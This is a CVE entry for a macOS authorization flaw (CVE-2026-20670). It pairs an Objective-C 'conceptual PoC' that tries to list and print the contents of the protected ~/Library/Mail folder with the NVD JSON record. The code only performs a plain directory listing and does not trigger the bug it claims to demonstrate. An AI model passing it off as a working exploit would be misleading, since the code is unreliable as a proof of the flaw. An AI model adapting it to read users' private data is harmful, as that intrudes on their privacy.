CVE-2026-20670

#include <Foundation/Foundation.h> /* * Conceptual PoC for CVE-2026-20670 * This code demonstrates how a malicious app might attempt to access * sensitive data by leveraging the authorization state management flaw. * Note: Actual exploitation requires specific logic triggering the bug. */ int main(int argc, const char * argv[]) { @autoreleasepool { // Target a sensitive directory normally protected by macOS TCC NSString *sensitivePath = @"~/Library/Mail/"; // Example protected data NSString *expandedPath = [sensitivePath stringByExpandingTildeInPath]; NSFileManager *fileManager = [NSFileManager defaultManager]; NSError *error = nil; NSLog(@"[+] Attempting to access sensitive data at: %@", expandedPath); // Attempt to list contents without explicit permission prompt // In a vulnerable version, the state management flaw might allow this NSArray *contents = [fileManager contentsOfDirectoryAtPath:expandedPath error:&error]; if (error == nil && contents) { NSLog(@"[!] SUCCESS: Accessed sensitive data. File count: %lu", (unsigned long)contents.count); // Iterate and print file names (simulating data exfiltration) for (NSString *file in contents) { NSLog(@"Found: %@", file); } } else { NSLog(@"[-] FAILED: Could not access data. Error: %@", error.localizedDescription); } } return 0; }

{"cve": {"id": "CVE-2026-20670", "sourceIdentifier": "[email protected]", "published": "2026-03-25T01:17:05.283", "lastModified": "2026-03-27T20:16:25.207", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "An authorization issue was addressed with improved state management. This issue is fixed in macOS Sonoma 14.8.4, macOS Tahoe 26.3. An app may be able to access sensitive user data."}, {"lang": "es", "value": "Un problema de autorización fue abordado con una gestión de estado mejorada. Este problema está solucionado en macOS Sonoma 14.8.4, macOS Tahoe 26.3. Una aplicación podría acceder a datos sensibles del usuario."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionStartIncluding": "14.0", "versionEndExcluding": "14.8.4", "matchCriteriaId": "E899D2A7-973C-4A46-B479-C245E5DFABE9"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionStartIncluding": "26.0", "versionEndExcluding": "26.3", "matchCriteriaId": "0488A377-7971-4703-8823-05BF1E23CF48"}]}]}], "references": [{"url": "https://support.apple.com/en-us/126348", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/126350", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}]}}